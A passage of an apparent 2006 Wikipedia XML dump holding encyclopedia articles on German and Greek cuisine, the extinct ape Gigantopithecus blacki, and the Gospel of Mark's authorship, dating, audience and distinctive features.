* [[Stollen]] (a bread-like cake with dried citrus peel, dried fruit, nuts, and spices such as [[cardamom]] and [[cinnamon]], usually eaten during the Christmas season as ''Weihnachtsstollen'' or ''Christstollen''). The best-known Stollen is from [[Dresden]] and is sold at the [[Striezelmarkt]] Christmas market, which derives its name from the cake.
* [[Marzipan]] f.e. [[Lübeck]] style (widely used in Christmas specialities)
* Bratkartoffeln (fried potatoes, often with diced bacon and/or onions)
* [[Currywurst]], warm sausage cut into slices and seasoned with ketchup and generous amounts of [[curry powder]], usually served with [[French fries]] &amp;mdash; a popular snack originating in early 1950s [[Berlin]]. Boiled sausage is used for this in northern Germany, Bratwurst in southern Germany.
* Kartoffelsalat (potato salad, which comes in many varieties, for example in a cream or [[mayonnaise]] dressing or even in meat broth. Often served as a side dish to bratwurst or boiled sausages)
* Pfefferpotthast (pepper-beef stew)
* Rindsroulade (beef roulade, thinly pounded sirloin steak, rolled around mustard leaf and a pickle, then baked)

==Foreign influences==

With the rising influx of foreign workers after [[World War II]], many foreign dishes have been adopted into German cuisine &amp;mdash; [[Italian cuisine|Italian]] dishes like [[spaghetti]] and [[pizza]] have become a staple of German cuisine.  [[Turkish cuisine|Turkish]] immigrants have also had a considerable influence on German eating habits &amp;mdash; [[Döner kebab]], a meat sandwich invented by [[Berlin]] turkish immigrants, is Germany's favourite fast food, selling twice as much as the major [[burger]] chains put together. [[Chinese cuisine|Chinese]] and [[Greek cuisine|Greek]] food are widely available and popular. [[Indian cuisine|Indian]], [[Thai cuisine|Thai]] and other Asian cuisines are rapidly gaining in popularity. Many of the more expensive restaurants used to serve mostly [[French cuisine|French]] dishes for many decades, but they are increasingly turning to a more refined form of German cuisine since the [[1990s]].

[[Category:German cuisine]]

[[cs:Německá kuchyně]]
[[de:Deutsche Küche]]
[[fr:Cuisine allemande]]
[[nl:Duitse gerechten]]
[[ja:ドイツ料理]]
[[th:อาหารเยอรมัน]]</text>
    </revision>
  </page>
  <page>
    <title>Cuisine of Greece</title>
    <id>12486</id>
    <revision>
      <id>42011419</id>
      <timestamp>2006-03-03T05:11:25Z</timestamp>
      <contributor>
        <username>Zerida</username>
        <id>454491</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{cuisine}}
'''Greek cuisine''' is the [[cuisine]] of [[Greece]] or perhaps of the [[Greeks]]. Given the geography and history of Greece, this style of cookery is typical of [[Mediterranean cuisine]], with strong influences from [[Italian cuisine|Italy]], [[Middle Eastern cuisine|Middle East]] and, to a lesser extent, from the [[Balkan cuisine|Balkans]].  The basic grain in Greece is wheat, though barley is also grown.  Important vegetables include [[tomato]], [[eggplant]], [[potato]], [[green bean]]s, [[okra]], and [[onion]]s.  The terrain has tended to favour the production of [[goat]]s and [[sheep]] over [[cattle]], and thus [[beef]] dishes tend to be a rarity by comparison. [[Fish]] dishes are also common, especially in coastal regions and the islands. [[Olive oil]], produced from the trees prominent throughout the region, adds to the distinctive taste of Greek food. Some dishes use [[filo pastry]]. Too much [[refinement]] is generally considered to be against the hearty spirit of the Greek cuisine, though recent trends among Greek culinary circles tend to favour a somewhat more refined approach. Traditionally, Greek dishes are served warm rather than hot.

== Appetizers ==
[[Image:Pikilia.JPG|thumb|left|Pikilia]]

[[Meze]] is a collective name for appetizers, typically served with ouzo.

Dips are served with loaf bread or [[pita]] bread.  In some regions, dried bread ('paximadhi') is softened in water.
* [[Tzatziki]], [[yoghurt]] with [[cucumber]] and [[garlic]] puree, used as a [[dip]]; it comes from the [[Turkish cuisine|Turkish]] beverage or soup [[cacık]].
* [[Taramosalata]], [[fish]] [[roe]] mixed with boiled potatoes or moistened breadcrumbs.
* [[Spanakopita]], spinach wrapped in filo pastry.
* [[Tyropita]], [[cheese]] (usually [[feta]]) wrapped in filo pastry.
* Many other things are wrapped in filo pastry, either in bite-size triangles or in large sheets: kotopita (chicken), spanakotyropita (spinach and cheese), hortopita (greens), kreatopita (meat pie, using ground meat), ''etc.''
* [[Saganaki]], fried cheese (plain, but also including other ingredients such as shrimps).
* [[Dolma|Dolmades]] [[grape]]vine leaves stuffed either with [[meat]] or [[rice]] and vegetables.  From the [[Turkish language|Turkish]] 'dolma' = 'stuffed'.
* [[Avgolemono]] soup, chicken, meat, vegetable, or fish broth thickened with [[Egg (food)|egg]]s and [[lemon]]s and rice.
[[Image:Feta Greece 2.jpg|thumb|left|A plate of [[feta cheese]], a traditional Greek [[cheese]]]]
* The so-called [[Greek Salad]] is known in [[Greece]] as Village/Country Salad (''Horiatiki'').  In Greece, it consists of [[tomato]], [[cucumber]], [[onion]], and sometimes green [[bell pepper|pepper]]s garnished with [[olives]] and [[feta]] cheese, and dressed with [[olive oil]] and [[oregano]].  Abroad, it also sometimes includes lettuce (often iceberg lettuce), which is completely unknown to the original Greek version.
*'Pikilia' simply means an 'assortment'.

Some dishes served in Greek restaurants (especially outside Greece) are not Greek at all, for example [[hummus]] bi tahini, the famous Lebanese dip.

== Famous Greek dishes ==
* [[Moussaka]] ([[eggplant]] casserole).  There are other variations besides eggplant, such as [[zucchini]] or rice, but the eggplant version (&quot;melitzanes moussaka&quot;) is most popular, so &quot;moussaka&quot; alone is assumed to mean &quot;with eggplant&quot;.
* Kleftiko: lamb slow-baked on the bone, first [[marinade|marinated]] in garlic and lemon juice.
* Stifado: beef-onion stew with red wine and cinnamon.  Rabbit or game (e.g. hare) are also cooked stifado-style
* [[Souvlaki]], lamb and vegetables grilled on skewers, or in general, anything grilled on a skewer (chicken, pork, swordfish, shrimps).
* [[Gyros]], meat roasted on a vertically turning spit and served with sauce (often [[tzatziki]]) and garnishes (tomato, onions) on pita bread; a popular [[fast food]]. Sometimes confused with souvlaki served in a similar way. The same dish is called [[döner kebab]] in Turkish.
* Boureki, similar to kreatopita, from Turkish [[börek]].
* [[Pastitsio]], a macaroni, meat, and [[Bechamel sauce]] casserole.

== Desserts ==
[[image:baklava.jpg|thumb|right|A plate with pieces of different types of Baklava]]
* [[Baklava]], a popular sweet dessert, of filo pastry layers with nuts, sugar, honey, cloves.  Related to the Turkish baklava, Lebanese baqlawa.
* [[Loukoumas]]
* [[Loukoumia]] (Turkish delight)
* [[Yoghurt]] with [[honey]]
* Galaktoboureko, [[custard]] between layers of filo.  From Turkish [[börek]].

== Drinks ==
* [[Wine]] is the most common drink in Greece.  Until the 1980's, most Greek wines weren't of the finest quality, but more recently they have come up to international standards.
* [[Beer]] is widely drunk; common brands include [[Heineken]], [[Amstel beer|Amstel]], [[Mythos (beer)|Mythos]], [[Henninger]], and [[Henninger|Kaiser]], all of which are produced locally, some under license.
* [[Ouzo]] (an 80-proof clear [[alcoholic beverage]] that is flavored with [[anise]]; it turns milky white with water or ice; the best said to be produced on the island of [[Lesbos Island|Lesbos]]).  It is similar to famous Turkish drink [[Rakı]] and French [[pastis]].
* [[Tsipouro]] or (esp. in [[Crete]]) 'raki' (Mostly home-brewed, a clear drink similar to ouzo, often with higher alcohol content, and usually not flavored with herbs. The city of Volos at the centre of Greece is well-known for its Tsipouradika (literally: tsipouro places)
* [[Retsina]] (a white wine that has some [[pine]] [[tar]] added, originally as a preservative, but nowadays for the flavor; this is an [[Athens]] region specialty. It should not be aged.).
* [[Mavrodafni]] Sweet, liquor-style, red wine with higher alcohol percentage than normal.
* [[Metaxa]], a brand of sweet [[brandy]], 40% alcohol content.
* [[Greek coffee]] (usually known [[Turkish coffee]]), made by boiling finely-ground coffee beans, and is served thick and strong, and often sweetened.

== See also ==
* [[Greek products]]
* [[Tourism in Greece]]
* [[Economy of Greece]]
* [[Turkish cuisine]]

==External links==

{{cookbook}}

* [http://www.kerasma.com Kerasma], a Greek [[quango]] promoting Greek cuisine.
* [http://www.greek-recipe.com Large Greek recipe collection]
* [http://www.gourmed.gr/dessert-recipes Greek recipes]


[[Category:Greek cuisine|*]]

[[de:Griechische Küche]]
[[fr:Cuisine grecque]]
[[nl:Lijst van Griekse gerechten]]
[[ja:ギリシア料理]]</text>
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  <page>
    <title>Gigantopithecus blacki</title>
    <id>12487</id>
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      <text xml:space="preserve">{{Taxobox | color = pink
| name = ''Gigantopthecus blacki''
| fossil_range = [[Pleistocene]] (~100 TYA)
| image = 051107 giant ape 02.jpg
| image_width = 225px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| familia = [[Hominidae]]
| subfamilia = [[Ponginae]]
| genus = ''[[Gigantopithecus]]''
| species = '''''G. blacki'''''
| binomial = ''Gigantopithecus blacki''
| binomial_authority = [[Ralph von Koenigswald|Koenigswald]], [[1935]]
}}

'''''Gigantopithecus blacki''''' ([[Greek language|Greek]] and [[Latin language|Latin]] for &quot;Black's Giant Ape&quot;) is an [[extinct]] [[species]] of [[ape]].

==Characteristics==
The only known [[fossil]]s of ''G. blacki'' are a few teeth and mandibles found in cave sites in [[Southeast Asia]]. As the name suggests, these are appreciably larger than those of living gorillas, but the exact size and structure of the rest of the body can only be estimated in the absence of additional findings. Recent research using high-precision absolute-dating methods has shown that after existing for about a million years, ''G. blacki'' died out 100,000 years ago. This means that it coexisted with (anatomically) modern [[human]]s (''Homo sapiens'') for a few dozen thousands of years, and with the most immediate ancestors of ''H. sapiens'' before that. 

Based on the fossil evidence, paleontologists speculate that Gigantopithecus had an adult height of over three meters (ten feet) and a weight of 550&amp;nbsp;kg (1200&amp;nbsp;lb), and was thus much larger and heavier than current-day [[gorilla]]s.

The species lived in [[Asia]] and probably inhabited [[bamboo]] forests, since its fossils are often found alongside those of extinct ancestors of the [[panda]]. Most evidence points to Gigantopithecus being a plant-eater. Some believe that being a plant-eating species, ''G. blacki'' was placed at the losing end of the evolutionary competition with humans.

Gigantopithecus's method of locomotion is uncertain, as no pelvis or leg bone has been found. The dominant view is that it walked on all fours like modern gorillas and chimpanzees; however, a minority opinion, most notably championed by the late [[Grover Krantz]], holds that the mandible shape and structure suggests bipedal locomotion. 

==Classification==
In the past, it had been thought that ''G. blacki'' was an ancestor of humans, on the basis of molar evidence; this is now regarded a result of [[convergent evolution]]. ''G. blacki'' is now placed in the subfamily [[Ponginae]] along with the [[orangutan]].

==Cryptozoology==
Believers in the existence of the [[Yeti]] or &quot;Abominable Snowman&quot; and [[Bigfoot]] have theorized that these creatures could be present-day specimens of ''G. blacki''. Without additional evidence, this must be regarded as highly speculative.

==See also==
*[[Timeline of human evolution]]

==References==	 
* {{cite web
 | title = Giant ape lived along-side humans
 | url = http://www.mcmaster.ca/ua/opr/nms/newsreleases/2005/rink.html
 | accessdate = November 15
 | accessyear = 2005
 }}

== External links ==
*[http://www.uiowa.edu/~nathist/Site/giganto.html University of Iowa Museum of Natural History: How Gigantopithecus was discovered]
*[http://www.wynja.com/arch/gigantopithecus.html From the Teeth of the Dragon: Gigantopithecus Blacki]
*[http://www.kandervision.com/giganto.html A Gigantopithecus sculpture at Hartwick College]
*[http://www.eurekalert.org/pub_releases/2005-11/mu-gal111005.php Giant ape lived alongside humans]

[[Category:Prehistoric apes]]
[[Category:Pleistocene mammals]]
[[Category:Pleistocene extinctions]]</text>
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  <page>
    <title>Gospel of mark</title>
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    <title>Gospel of matthew</title>
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  <page>
    <title>Gospel of Mark</title>
    <id>12490</id>
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      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
{{Chapters in the Gospel of Mark}}
The '''Gospel of Mark''' is traditionally the second of the [[New Testament]] [[Gospel]]s. It narrates the life of [[Jesus]] from [[Baptism of Jesus|his baptism]] by [[John the Baptist]] to [[Resurrection of Jesus|his resurrection]], but it concentrates particularly on the last week of his life. Usually dated around AD [[65]]-[[80]], it is regarded by most modern scholars as the earliest of the [[canonical]] [[gospel]]s, contrary to the traditional view of the [[Augustinian hypothesis]].

==Authorship and Provenance==
The gospel itself is anonymous, but as early as [[Papias]] in the early [[2nd century]], a text was attributed to [[Mark the Evangelist|Mark]], a disciple of [[Saint Peter|Peter]], who is said to have recorded the Apostle's discourses.  Papias' authority in this was [[John the Presbyter]]. While the text of Papias is no longer extant, it was quoted by [[Eusebius of Caesarea]]:

:And the presbyter would say this: Mark, who had indeed been Peter's interpreter, accurately wrote as much as he remembered, yet not in order, about that which was either said or done by the Lord. For he neither heard the Lord nor followed him, but later, as I said, Peter, who would make the teachings anecdotally but not exactly an arrangement of the Lord's reports, so that Mark did not fail by writing certain things as he recalled. For he had one purpose, not to omit what he heard or falsify them.

In many older translations, the Greek behind &quot;anecdotally&quot; (''pros tas chreias'') had been rendered &quot;to the necessities (of his hearers)&quot;, but contemporary scholars since J. Kürzinger in the 1960s now prefer to understand ''chreias'' in this context as a rhetorical term that means &quot;anecdote.&quot;

From the time of [[Clement of Alexandria]], at the end of the 2nd century, to the mid [[20th century]], scholars have generally thought this gospel was first written at [[Rome]], but [[Syria]] is also a viable candidate. The Rome-Peter theory has been questioned in recent decades.  It is argued that the [[Latinism]]s in the Greek of ''Mark ''&amp;mdash;once seen as an indication of Roman provenance&amp;mdash;could have stemmed from many places throughout the [[Western Roman empire]].  Furthermore, Papias' comment does not make it clear that the Mark of whom he spoke is the author of the canonical gospel which bears that name. Neither does the comment in [[First Epistle of Peter|1 Peter]] [http://www.biblegateway.com/passage/?search=1%20Peter%205:13;&amp;version=31; 5:13] &quot;The chosen one at [[Babylon]] sends you greeting, as does Mark, my son&quot; for Mark was a very common name in the [[first century]].  Some scholars believe that the Gospel of Mark contains mistakes concerning [[Galilean]] topography, supporting that the author, or his sources, were unfamiliar with the actual geography of that area, unlike the historical Peter. Finally, some scholars dispute the connection of the gospel with [[Persecution of Christians|persecution]], identified with persecution at Rome, because persecution was widespread, albeit sporadic beyond the borders of the city of Rome.

As Morna D. Hooker, the Lady Margaret's Professor of Divinity in The University of Cambridge, stated in her commentary on Mark (p. 8): &quot;All we can say with certainty, therefore, is that the gospel was composed somewhere in the Roman Empire—a conclusion that scarsely narrows the field at all!&quot;

A [[Mar Saba letter]] ascribed to Clement of Alexandria, copied into a book at the Mar Saba monastery and published by [[Morton Smith]] in [[1973]], contains references to a previously unknown [[Secret Gospel of Mark]] and provides additional details about Mark's [[Ancient Rome|Roman]] origin. While most Clement scholars agree that the letter sounds authentic, a number of scholars remain unconvinced that an early, &quot;Secret&quot; Mark existed before the canonical gospel, and have asserted that the &quot;Mar Saba letter&quot; is a modern-day [[forgery]].

==Date==
The text of the Gospel itself furnishes us with no clear information as to the time that it was written. It is generally agreed among scholars to be the first gospel written.  Comments attributed to [[Jesus]] in Mark [http://www.biblegateway.com/passage/?search=Mark%2013:1-2;&amp;version=31; 13:1-2] (the &quot;little Apocalypse&quot;, see below) have been seen as a reference to the destruction of the [[Temple in Jerusalem|Temple]].  This would mean that either Mark recorded Jesus prophesying that the temple would be destroyed, or that the work was written ''after'' it happened in AD 70.  Most scholars contrast these comments with the more specific ones in [[Gospel of Luke|Luke]] and [[Gospel of Matthew|Matthew]], and would be hesitant to assign a date later than AD 70-73, the latter being when Jerusalem was finally and fully sacked.  Nevertheless, a great majority of moderate and conservative scholars assign Mark a date between AD 60 and 70, although there are vocal minority groups which argue for earlier or later dates.&lt;!--waffle. solid information requires names and the date ranges that they assign--&gt;

Two papyrologists, Fr. [[Jose O'Callaghan]] and [[Carsten Peter Thiede]], have proposed that lettering on a postage stamp-sized papyrus fragment found in a cave at [[Qumran]], [[7Q5]], represents a fragment of Mark [http://www.biblegateway.com/passage/?search=Mark%206:52-53;&amp;version=31; 6:52-53]; thus they assert that the present gospel was written and distributed prior to AD 68.  Almost all other papyrologists, however, consider this identification of the fragmentary text, and its supposition that early Christians lived at [[Qumran]], to be dubious.

==Audience==
The general theory is that Mark is a Hellenistic gospel, written primarily for an audience of Greek-speaking residents of the [[Roman Empire]].  Jewish traditions are explained, clearly for the benefit of non-Jews (e.g. [http://www.biblegateway.com/passage/?search=Mark%207:1-4;&amp;version=31; 7:1-4]; [http://www.biblegateway.com/passage/?search=Mark%2014:12;&amp;version=31; 14:12]; [http://www.biblegateway.com/passage/?search=Mark%2015:42;&amp;version=31; 15:42]). [[Aramaic language|Aramaic]] words and phrases are also expanded upon by the author: e.g. &amp;tau;&amp;alpha;&amp;lambda;&amp;iota;&amp;theta;&amp;alpha; &amp;kappa;&amp;omicron;&amp;upsilon;&amp;mu; (&quot;talitha cum&quot;, 5:41); &amp;kappa;&amp;omicron;&amp;rho;&amp;beta;&amp;alpha;&amp;nu; (&quot;Corban&quot;, [http://www.biblegateway.com/passage/?search=Mark%207:11;&amp;version=31; 7:11]); &amp;alpha;&amp;beta;&amp;beta;&amp;alpha; (&quot;abba&quot;, [http://www.biblegateway.com/passage/?search=Mark%2014:36;&amp;version=31; 14:36]).  The Hellenism exhibited is not confined to language.  The description in this Gospel of how the [[Sanhedrin]] plotted to execute Jesus has been used to promote and condone [[anti-Semitism]].  The demonization of [[Pharisee]]s at first seems to direct this gospel at a [[Gentile]] audience; perhaps one only partly of Jewish extraction, as at Alexandria. (See [[Jews in the New Testament]] for further discussion.)

Alongside these Hellenistic influences,  ''Mark'' in common with the other [[synoptic gospels]] makes detailed use of the Old Testament in the form in which it had been translated into Greek, the [[Septuagint]], for instance ''Mark'' [http://www.biblegateway.com/passage/?search=Mark%201:2;&amp;version=31; 1:2]; [http://www.biblegateway.com/passage/?search=Mark%202:23-28;&amp;version=31; 2:23-28]; [http://www.biblegateway.com/passage/?search=Mark%2010:48;&amp;version=31; 10:48b]; [http://www.biblegateway.com/passage/?search=Mark%2012:18-27;&amp;version=31; 12:18-27]; also compare [http://www.biblegateway.com/passage/?search=Mark%202:10;&amp;version=31; 2:10 ]with ''[[Book of Daniel|Daniel]]'' [http://www.biblegateway.com/passage/?search=Daniel%207:13-14;&amp;version=31; 7:13-14].  Those who seek to temper the anti-Semitism in ''Mark'' note passages such as [http://www.biblegateway.com/passage/?search=Mark%201:44;&amp;version=31; 1:44]; [http://www.biblegateway.com/passage/?search=Mark%205:7;&amp;version=31; 5:7] (&quot;Son of the Most High God&quot;; cf. [[Book of Genesis|Genesis]] [http://www.biblegateway.com/passage/?search=Genesis%2014:18-20;&amp;version=31; 14:18-20]); [http://www.biblegateway.com/passage/?search=Mark%207:27;&amp;version=31; 7:27]; and [http://www.biblegateway.com/passage/?search=Mark%208:27-30;&amp;version=31; 8:27-30]. These also indicate that the audience of ''Mark'' has kept at least some of its Jewish heritage, and also that the gospel might not be as Hellenistic as it first seems.

The author of Mark also employed certain Latinised vocabulary not found in any of the other gospels: e.g. &amp;sigma;&amp;pi;&amp;epsilon;&amp;kappa;&amp;omicron;&amp;upsilon;&amp;lambda;&amp;alpha;&amp;tau;&amp;omicron;&amp;rho;&amp;alpha; (&quot;soldier of the guard&quot;, [http://www.biblegateway.com/passage/?search=Mark%206:27;&amp;version=47; 6:27], NRSV), &amp;xi;&amp;epsilon;&amp;sigma;&amp;tau;&amp;omega;&amp;nu; (Greek corruption of ''sextarius'' (&quot;pots&quot;, [http://www.biblegateway.com/passage/?search=Mark%207:4;&amp;version=47; 7:4]), &amp;kappa;&amp;omicron;&amp;delta;&amp;rho;&amp;alpha;&amp;nu;&amp;tau;&amp;eta;&amp;sigmaf; (&quot;penny&quot;, [http://www.biblegateway.com/passage/?search=Mark%2012:42;&amp;version=47; 12:42], NRSV), &amp;kappa;&amp;epsilon;&amp;nu;&amp;tau;&amp;upsilon;&amp;rho;&amp;iota;&amp;omega;&amp;nu; (&quot;[[centurion (Roman army)|centurion]]&quot;, [http://www.biblegateway.com/passage/?search=Mark%2015:39;&amp;version=47; 15:39], [http://www.biblegateway.com/passage/?search=Mark%2015:44-45;&amp;version=47; 15:44-45]).  It has been suggested that these usages show that Mark was written in Rome.

==Sources: ''Mark'' and Midrash==

The Gospel of Mark appears to be [[Midrash]] of the Tanakh. Mark contains over 150 citations or allusions to the Tanakh, with the bulk of the Gospel episodes being derived from Kings 1 &amp; 2 stories about Elijah and Elisha. See [http://users2.ev1.net/~turton/GMark/GMark_index.html Michael A. Turton's Historical Commentary on the Gospel of Mark]
Errors of geography and culture suggest the author was not a local, but may have written in Rome.

==Sources: ''Mark'''s disputed relation with [[Q Gospel]]==
Many mainstream textual critics agree that ''Matthew'' as we now have it and ''Luke'' depend upon ''Mark'' and the theorized lost &quot;sayings&quot; gospel called ''Q''.  Associated with the subject of &quot;Markan priority&quot; discussed below, is the question raised whether ''Mark'' depends on the Q gospel at all. Several possible relationships are offered: ''Mark'' supplementing the sayings source, Q as a supplement to Mark, even &quot;a critical debate by Mark with the Christology of the sayings source&quot; [http://www.earlychristianwritings.com/q.html].  

The existence of ''Q'' was suggested originally to account for the &quot;double tradition&quot; material, that material which is present in both ''Matthew'' and ''Luke'' but not ''Mark''. Some scholars, like Burton Mack (1993 pp 177-9), discuss &quot;a myriad of interesting points at which the so-called overlaps between Mark and Q show Mark's use of Q material for his own narrative designs.&quot; [http://www.earlychristianwritings.com/q.html]. On the other hand [[Udo Schnelle]] (1998 p 195) finds that &quot;a direct literary connection between Mark and Q must be regarded as improbable&quot; and looks to connections through the oral tradition [http://www.earlychristianwritings.com/q.html].a

==Characteristics==
Unlike both Matthew and Luke, Mark does not offer any information about the life of Jesus before he begins his ministry: there is no nativity in Mark, as in [[Gospel of Matthew|Matthew]] ([http://www.biblegateway.com/passage/?search=Matthew%201:18-2:12;&amp;version=31; 1:18-2:12]) and [[Luke 2|Luke]] ([http://www.biblegateway.com/passage/?search=Luke%202:1-20;&amp;version=31; 2:1-20]), nothing about John the Baptist's birth (as in [[Luke 1]]), no massacre of the infants ([[Matthew 2|Matthew]] [http://www.biblegateway.com/passage/?search=Matthew%202:16;&amp;version=31; 2:16]), and no childhood tales (Luke [http://www.biblegateway.com/passage/?search=Luke%202:41-52;&amp;version=31; 2:41-52]).  Neither is there a genealogy of Jesus ([[Matthew 1|Matthew]] [http://www.biblegateway.com/passage/?search=Matthew%201:1-17;&amp;version=31; 1:1-17] or, differently, [[Luke 3|Luke]] [http://www.biblegateway.com/passage/?search=Luke%203:23-38;&amp;version=31; 3:23-38]).   The detailed narrative concentrates on the miracle stories, omitted by the later synoptics, show us otherwise (compare e.g. Mark [http://www.biblegateway.com/passage/?search=Mark%201:19;&amp;version=31; 1:19] and [[Luke 4|Luke]] [http://www.biblegateway.com/passage/?search=Luke%204:38;&amp;version=31; 4:38a]; Mark [http://www.biblegateway.com/passage/?search=mark%205:21-43;&amp;version=31; 5:21-43] and Matthew [http://www.biblegateway.com/passage/?search=Matthew%209:18-26;&amp;version=31; 9:18-26]).

===Other characteristics unique to ''Mark''===

*[[Son of Man]] is the major title used of Jesus in Mark (2:10, [http://www.biblegateway.com/passage/?search=Mark%202:28;&amp;version=31; 2:28]; [http://www.biblegateway.com/passage/?search=Mark%208:31;&amp;version=31; 8:31]; [http://www.biblegateway.com/passage/?search=Mark%209:9;&amp;version=31; 9:9], [http://www.biblegateway.com/passage/?search=Mark%209:12;&amp;version=31; 9:12], [http://www.biblegateway.com/passage/?search=Mark%209:31;&amp;version=31; 9:31]; [http://www.biblegateway.com/passage/?search=Mark%2010:33;&amp;version=31; 10:33], [http://www.biblegateway.com/passage/?search=Mark%2010:45;&amp;version=31; 10:45]; [http://www.biblegateway.com/passage/?search=Mark%2014:21;&amp;version=31; 14:21], [http://www.biblegateway.com/passage/?search=Mark%2014:41;&amp;version=31; 14:41]).  Many people have seen that this title is a very important one within Mark’s Gospel, and it has important implications for Mark’s christology.  Jesus raises a question that demonstrates the association in Mark between ‘Son of Man’ (compare Daniel 7:13-14) and the suffering servant in [[Book of Isaiah|Isaiah]] [http://www.biblegateway.com/passage/?search=Isaiah%2052:13-53:12;&amp;version=31; 52:13-53:12] – “How then is it written about the Son of Man, that he is to go through many sufferings and be treated with contempt?” (9:12b, NRSV)  Yet this comparison is not explicit ; Mark’s Gospel creates this link between [[Book of Daniel|Daniel]] and Isaiah, and applies it to Christ.  It’s postulated that this is because of the persecution of Christians; thus, Mark’s Gospel encourages believers to stand firm ([http://www.biblegateway.com/passage/?search=Mark%2013:13;&amp;version=31; 13:13]) in the face of troubles.
*The testing of Jesus in the wilderness for forty days contains no discourse between Jesus and [[Satan]] and only here are wild beasts mentioned ([http://www.biblegateway.com/passage/?search=Mark%201:12-13;&amp;version=31; 1:12-13]).
*Jesus refers to himself as the Son of Man numerous times.
*The sabbath was made for man, not man for the sabbath ([http://www.biblegateway.com/passage/?search=Mark%202:27;&amp;version=31; 2:27]). Omitted from both Matt [http://www.biblegateway.com/passage/?search=Matthew%2012:1-8;&amp;version=31; 12:1-8] and Luke [http://www.biblegateway.com/passage/?search=Luke%206:1-5;&amp;version=31; 6:1-5].
*Jesus' family say he is out of his mind ([http://www.biblegateway.com/passage/?search=Mark%203:21;&amp;version=31; 3:21]).
*Among the synoptics Mark contains the smallest number of parables or riddles; only 12 (John has 3. None of them are found in Mark).
*Only Mark counts the possessed swine; there are about two thousand ([http://www.biblegateway.com/passage/?search=Mark%205:13;&amp;version=31; 5:13]).
*Only place in the New Testament Jesus is addressed as &quot;the son of Mary&quot; ([http://www.biblegateway.com/passage/?search=Mark%206:3;&amp;version=31; 6:3]).
*Two consecutive healing stories of women, make use of the number twelve ([http://www.biblegateway.com/passage/?search=Mark%205:25;&amp;version=31; 5:25] and [http://www.biblegateway.com/passage/?search=Mark%205:42;&amp;version=31; 5:42]).
*The taking of a staff and sandals ([http://www.biblegateway.com/passage/?search=Mark%206:8-10;&amp;version=31; 6:8-10]) are prohibited in Matt [http://www.biblegateway.com/passage/?search=Matthew%2010:10;&amp;version=31; 10:10] and Luke [http://www.biblegateway.com/passage/?search=Luke%209:3;&amp;version=31; 9:3] and [http://www.biblegateway.com/passage/?search=Luke%2010:4;&amp;version=31; 10:4].
*The longest version of the story of Herodias' daughter's dance and the beheading of John the Baptist ([http://www.biblegateway.com/passage/?search=Mark%206:14-29;&amp;version=31; 6:14-29]).  
*Mark's literary cycles:
:*[http://www.biblegateway.com/passage/?search=Mark%206:30-44;&amp;version=31; 6:30-44] - '''Feeding''' of the five thousand;
:*[http://www.biblegateway.com/passage/?search=Mark%206:45-56;&amp;version=31; 6:45-56] - Crossing of the '''lake''';
:*[http://www.biblegateway.com/passage/?search=Mark%207:1-13;&amp;version=31; 7:1-13] - '''Dispute''' with the Pharisees;
:*[http://www.biblegateway.com/passage/?search=Mark%207:14-23;&amp;version=31; 7:14-23] - Discourse about '''food''' defilement.
:Then:
:*[http://www.biblegateway.com/passage/?search=Mark%208:1-9;&amp;version=31; 8:1-9] - '''Feeding''' of the four thousand;
:*[http://www.biblegateway.com/passage/?search=Mark%208:10;&amp;version=31; 8:10] - Crossing of the '''lake''';
:*[http://www.biblegateway.com/passage/?search=Mark%208:11-13;&amp;version=31; 8:11-13] - '''Dispute''' with the Pharisees;
:*[http://www.biblegateway.com/passage/?search=Mark%208:14-21;&amp;version=31; 8:14-21] - Incident of '''no bread''' and discourse about the '''leaven''' of the Pharisees.
*Jesus heals using his fingers and spit ([http://www.biblegateway.com/passage/?search=Mark%207:33;&amp;version=31; 7:33]).
*Jesus must lay his hands on a blind man twice to cure him ([http://www.biblegateway.com/passage/?search=Mark%208:22;&amp;version=31; 8:22]).
*The '[[Messianic Secret]]' motif (e.g. [http://www.biblegateway.com/passage/?search=Mark%201:32-34;&amp;version=31; 1:32-34]; [http://www.biblegateway.com/passage/?search=Mark%203:11-12;&amp;version=31; 3:11-12]); Demons know of Jesus and his secret identity. He is not just a wonder-worker; Jesus is the, or a, Son of God.
*There are no 'favorite' disciples (''contra'' [[Gospel of John|John]]).
*Even though the 12 disciples are Jesus' close traveling companions, they still have difficulty understanding his teachings and wonder who he is.                            
*Mark is the only synoptic gospel that does not contain &quot;The Lord's Prayer&quot;, unless one accepts ([http://www.biblegateway.com/passage/?search=Mark%2011:25-26;&amp;version=31; 11:25-26]).
*When Jesus is arrested a young naked man flees ([http://www.biblegateway.com/passage/?search=Mark%2014:51-52;&amp;version=31; 14:51-52]).
*A woman anoints Jesus' head. There is no mention of her hair ([http://www.biblegateway.com/passage/?search=Mark%2014:3-9;&amp;version=31; 14:3-9]).
*Witness testimony against Jesus does not agree ([http://www.biblegateway.com/passage/?search=Mark%2014:56;&amp;version=31; 14:56]).
*Jesus gives the direct answer,&quot;I am&quot;([http://www.biblegateway.com/passage/?search=Mark%2014:62;&amp;version=31; 14:62]).
*The cock crows &quot;twice&quot; as predicted ([http://www.biblegateway.com/passage/?search=Mark%2014:72;&amp;version=31; 14:72]).
*The cloak is royal purple ([http://www.biblegateway.com/passage/?search=Mark%2015:17;&amp;version=31; 15:17]), as in John ([http://www.biblegateway.com/passage/?search=John%2019:2;&amp;version=31; 19:2]). In Matthew ([http://www.biblegateway.com/passage/?search=Matthew%2027:28;&amp;version=31; 27:28]) it is a common scarlet military cloak.
*Simon of Cyrene's sons are named ([http://www.biblegateway.com/passage/?search=Mark%2015:21;&amp;version=31; 15:21]).
*A summoned centurion is questioned ([http://www.biblegateway.com/passage/?search=Mark%2015:44-45;&amp;version=31; 15:44-45]).
*The women ask each other who will roll away the stone ([http://www.biblegateway.com/passage/?search=Mark%2016:3;&amp;version=31; 16:3]).
*A young man sits on the &quot;right side&quot; ([http://www.biblegateway.com/passage/?search=Mark%2016:5;&amp;version=31; 16:5]).
*Afraid, the women flee from the empty tomb. They &quot;tell no one&quot; what they have seen ([http://www.biblegateway.com/passage/?search=Mark%2016:8;&amp;version=31; 16:8]). Close of short ending text.
